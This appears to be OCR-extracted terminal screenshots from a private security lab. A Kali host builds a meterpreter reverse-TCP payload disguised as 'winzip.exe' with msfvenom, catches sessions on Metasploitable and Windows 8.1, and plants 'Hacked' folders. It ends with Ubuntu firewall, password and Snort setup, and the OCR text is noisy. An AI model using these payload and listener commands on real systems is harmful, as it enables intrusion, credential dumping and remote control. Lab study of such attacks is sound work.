040755/rwxr-xr-x 17592186048512 dir  181965051925-08-31 02:34:46 +0930 test
040775/rwxrwxr-x 87960930242560 dir  173083439924-11-22 23:20:32 +1030 tikiwiki
040775/rwxrwxr-x 87960930242560 dir  173040024853-07-12 08:28:19 +0930 tikiwiki-old
040755/rwxr-xr-x 17592186048512 dir  173046477589-12-25 08:29:26 +1030 twiki

meterpreter > |
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New Folder o adminz@KaliLinux: fusr/share/wordlists/metasploit Q i (<]

adminz@KaliLinux: fusr/share/wordlists/metasploit x adminz@KaliLinux: /usr/share/metasploit-framework/data/wordlists -

Listing: /var/www

Mode size Type Last modified Name
040755/rwxr-xr-x 17592186048512 dir  241871282937-02-17 10:09:48 +1030 Hacked
041777/rwxrwxrwx 17592186048512 dir  240343123300-02-02 11:20:05 +1030 dav
040755/rwxr-xr-x 17592186048512 dir  182042482449-05-13 00:47:21 +0930 dvwa
100644/ TW-r--r-~—3826815861627  fil  182042311505-02-18 09:43:29 +1030 index.php
040755/rwxr-xr-x 1759218648512 dir  181964996940-06-01 04:08:18 +0930 mutillidae
040755/Twxr-Xr-X 17592186048512 dir - 181964937872-02-09 04:33:20 +1030 phpMyAdmin
100644/ TW-r-=T-=" 81604378643 fil | 173039983614-08-05 15:38:28 +0930 phpinfo.php
040755/TwXr-xr-x 17592186048512 dir — 181965051925-08-31 02:34:46 +0930 test
040775/TwXTWxr-X 87960930242560 dir  173083439924=11-22 23:20:32 +1030 tikiwiki
040775/TWXTWXr-X _87960930242560 dir 173040024853-07-12 08:28:19 +0930 tikiwiki-old
040755/Twxr-xr-x 17592186048512 dir, 173046477589-12-25 08:29:26 +1030 twiki

meterpreter > shell
Process 5925 created.
Channel 0 created.

1s

Hacked

dav

dvwa
index.php
nutillidae
phpMyAdmin
phpinfo.php
test
tikiwiki
tikiwiki-old
twiki

Lkdir YourComputerHacked
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msfadmin@metasploitable:
msfadmin@metasploitable:
msfadmin@metasploitable:

~S cd s

/9 l1s
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bin filel lib opt sys
boot hacked lost+found proc test
cdrom home media root Test
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msfadmin@metasploitable:
msfadmin@metasploitable:
msfadmin@metasploitable:
msfadmin@metasploitable:
msfadmin@metasploitable:
msfadmin@metasploitable:
msfadmin@metasploitable:
mutillidae phpMyAdmin

dav Hacked

sbin testingpurpose

/S cd /var/uuuy
svar/uwus ls

dvwa index.php phpinfo.php test

msfadmin@metasploitable:
msfadmin@metasploitable:

svar/uwud
svar/uuud

tikiwiki-old

tmp

usr

var

unlinuz
yourcomputerhacked

twiki
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New Folder
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a root@KaliLinux: /home/adminz/Desktop Q

‘adminz@KaliLinux: /usr/share/wordlists/metasploit x root@KaliLinux: /home/adminz/Desktop x adminz@KaliLinux: /usr/share/metasploit-framework/datajwordlists * v

from /usr/lib/ruby/3.3.0/bundled_gems.rb:69:in "block (2 levels) in replace_require'

from /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/bootsnap-1.18.6/1ib/bootsnap/load_path_cache/core_ext/kernel_require.rb:30:in “require’
from /usr/share/metasploit-framework/lib/msfenv.rb:28:in “<top (required)>’

from <internal:/usr/lib/ruby/vendor_ruby/rubygens/core_ext/kernel_require.rb>:136:in “require’

from <internal:/usr/lib/ruby/vendor_ruby/rubygens/core_ext/kernel_require.rb>:136:in “require’

from /usr/bin/msfvenom “require_deps’

from /usr/bin/msfvenom:44:in “init_framework’

from /usr/bin/msfvenom:67:in " framework’

from-/usr/bin/msfvenom:472:in "<main>"

—(adminz@® KaliLinux)~{7]
L$ pud
/

—(adminz@® KaliLinux)-[/]
L$ sudo su

—(root® KaliLinux)-[/]
Ly

—(root® KaliLinux)-[/]
Lo

—(root® KaliLinux)-[/]
L pud
/

—(root® KaliLinux)-[/]
L# cd /home/adminz/Desktop

(100t @ 11 ) - [ /home/adminz/Desktop
L msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -f exe LHOST=192.168.56.9 LPORT=5555 -0 /home/adminz/Desktop/winzip.exe

No encoder specified, outputting raw payload
Payload size: 354 bytes

Final size of exe file: 73802 bytes

Saved as: /home/adminz/Desktop/winzip.exe

(o0 )= [/home/adminz/Desktop]

=0

EmEo® @ B
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New Folder

Ubuntu 64-bit

AR

a adminz@KaliLinux: /usr/share/wordlists/metasploit Q

adminz@KaliLinux: fusr/share/wordlists/metasploit x root@KaliLinux: /home/adminz/Desktop adminz@KaliLinux: /usr/share/metasploit-framework/data/wordlists

msf6 > use multi/handler

[+] Using configured payload generic/shell_reverse_tcp

msf6 exploit(muliti/handier) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf6 exploit(nul®i/handler)-> show options

Payload options (windows/meterpreter/reverse_tecp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT Lhbls yes The listen port

Exploit target:

Id Name

0 Wildcard Target

View the full module info with the info, or info =d command

msf6 exploit(nuiti/handicr) > set LHOST 192.168.56.9
LHOST => 192.168.56.9

msf6 exploit(nilti/handicr) > set LPORT 5555

LPORT => 5555

msf6 exploit(umiit i iondicen) > i
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New Folder

Ubuntu 64-bit

AR

a adminz@KaliLinux: /usr/share/wordlists/metasploit Q

adminz@KaliLinux: fusr/share/wordlists/metasploit x root@KaliLinux: /home/adminz/Desktop adminz@KaliLinux: /usr/share/metasploit-framework/data/wordlists

msf6 > use multi/handler

[+] Using configured payload generic/shell_reverse_tcp

msf6 exploit(muliti/handier) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf6 exploit(nul®i/handler)-> show options

Payload options (windows/meterpreter/reverse_tecp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT Lhbls yes The listen port

Exploit target:

Id Name

0 Wildcard Target

View the full module info with the info, or info =d command

msf6 exploit(nuiti/handicr) > set LHOST 192.168.56.9
HOST => 192.168.56.9
msf6 exploit(nilti/handicr) > set LPORT 5555
LPORT => 5555
msf6 exploit(w ~  onilo0) > run
[#] Started reverse TCP handler on 192.168.56.9:5555
[*] sending stage (177734 bytes) to 192.168.56.7
[#] Meterpreter session 3 opened (192.168.56.9:5555 -> 192.168.56.7:49184) at 2026-04-27 23:41:33 +0930

meterpreter > |
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New Folder

AR
a adminz@KaliLinux: /usr/share/wordlists/metasploit Q

adminz@KaliLinux: fusr/share/wordlists/metasploit root@KaliLinux: /home/adminz/Desktop adminz@KaliLinux: /usr/share/metasploit-framework/data/wordlists

msf6 exploit(nilti /handlicr) > set LPORT 5555
LPORT => 5555

msf6 exploit(nulti/handier) > run

[#] Started reverse TCP handler on 192.168.56.
[*] sending stage (177734 bytes) to 192.168.56.7

[*] Meterpreter session 3 opened (192.168.56.9:5555 -> 192.168.56.7:49184) at 2026-04-27 23:41:33 +0930

555

meterpreter > help

Core Commands

Command Description

2 Help menu

background Backgrounds the current session

bg Alias for background

bgkill Kills a background meterpreter script

bglist Lists running background scripts

bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel

detach Detach the meterpreter session (for http/https)

disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings

exit Terminate the meterpreter session

get_timeouts Get the current session timeout values

guid Get the session GUID

help Help menu

info Displays information about a Post module

irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions

machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process

pivot Manage pivot listeners

pry Open the Pry debugger on the current session

quit Terminate the meterpreter session

read Reads data from a channel

resource Run the commands stored in a file

run Executes a meterpreter script or Post module
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New Folder
AR
a adminz@KaliLinux: fusr/share/wordlists/metasploit Q
adminz@Kalilinux: fusr/share/wordlists/metasploit root@KaliLinux: fhome/adminz/Desktop adminz@Kalilinux: /usr/share/metasploit-framework/data/wordlists
Command Description
play play a waveform audio file (.wav) on the target system

Priv: Elevate Commands

Command Description

getsystem Attempt to elevate your privilege tothat of local system

Priv: Password database Commands

Command Description

hashdump Dumps the contents of the SAM database

Priv: Timestomp Commands

Command Description

timestomp Manipulate file MACE attributes

For more info on a specific command, use <command> -h or help <commands>.

meterpreter > sysinfo

Computer WIN-EBVFED99TCS
0S dows 8.1 (6.3 Build 9600)
Architecture X64

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/windows

meterpreter >
meterpreter > [
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m ubuntu@Ubuntu: ~/Desktop

ubuntu@Ubuntu:~/Desktop$
ubuntu@Ubuntu:~/Deskiop$ sudo ufw enable
[sudo] password for ubuntu:

Firewall is active and enabled on system startup
ubuntu@Ubuntu:~/Desktop$
ubuntu@Ubuntu:~/Desktop$
ubuntu@Ubuntu:~/Desktop$
ubuntu@Ubuntu:~/Deskiop$ sudo ufw status

Status: active

To
22/tcp ALLOW Anywhere
Samba ALLOW Anywhere
22/tcp (v6) ALLOW Anywhere (v6)
Samba (v6) ALLOW Anywhere (v6)

ubuntu@Ubuntu:~/Desktop$

8 ePPOESC
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m root@Ubuntu: ~

ubuntu@Ubuntu:~/Desktop$
ubuntu@Ubuntu:~/Deskiop$ sudo ufw enable
[sudo] password for ubuntu:

Firewall is active and enabled on system startup
ubuntu@Ubuntu:~/Desktop$
ubuntu@Ubuntu:~/Desktop$
ubuntu@Ubuntu:~/Desktop$
ubuntu@Ubuntu:~/Deskiop$ sudo ufw status

Status: active

To From

22/tcp ALLOW Anywhere
Samba ALLOW Anywhere
22/tcp (v6) ALLOW Anywhere (v6)
Samba (v6) ALLOW Anywhere (v6)

ubuntu@Ubuntu:~/Desktop$ sudo -i

root@Ubuntu:~#

root@Ubuntu:~#

root@Ubuntu:~# passwd

New password:

BAD PASSWORD: No password supplied

Retype new password:

No password has been supplied.

passwd: Authentication token manipulation error

passwd: password unchanged

root@Ubuntu:~# passwd

New password:

BAD PASSWORD: The password fails the dictionary check - it is based on a dictionary word
Retype new password:

passwd: password updated successfully

root@Ubuntu:~#
root@ubuntu:~# [l
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m ubuntu@Ubuntu: fetc/snort

ubuntu@Ubuntu:~/Desktop$
ubuntu@Ubuntu:~/Desktop$ snort --version

-*> Snort! <*-

Version 2.9.15.1 GRE (Build 15125)

By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
Copyright (C) 2014-2019 Cisco and/or its affiliates. All rights reserved.
Copyright (C) 1998-2013 Sourcefire, Inc., et al.

Using libpcap version 1.10.1 (with TPACKET_V3)

Using PCRE version: 8.39 2016-06-14

Using ZLIB version: 1.2.11

ubuntu@Ubuntu:~/Desktop$

ubuntu@Ubuntu:~/Desktop$ cd /etc/snort/

ubuntu@Ubuntu: /etc/snort$ 1s

attribute_table.dtd community-sid-msg.map gen-msg.map
classification.config file_magic.conf reference.config
ubuntu@Ubuntu: /etc/snort$

snort.conf.back2  snort.conf.backup.save threshold.conf
[lll snort.conf.backup snort.debian.conf unicode.map
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ubuntu@Ubuntu: /etc/snort/rules.

# LOCAL RULES
# -

# This file intentionally does not come with signatures. Put your local
# additions here.

#alert tcp SEXTERNAL_NET any -> $HOME_NET 21 (msg:"POLICY FTP anonymous login attempt"; flow:to_server,established; content:"USER"; nocase; pcre:"/"§

i P @
)
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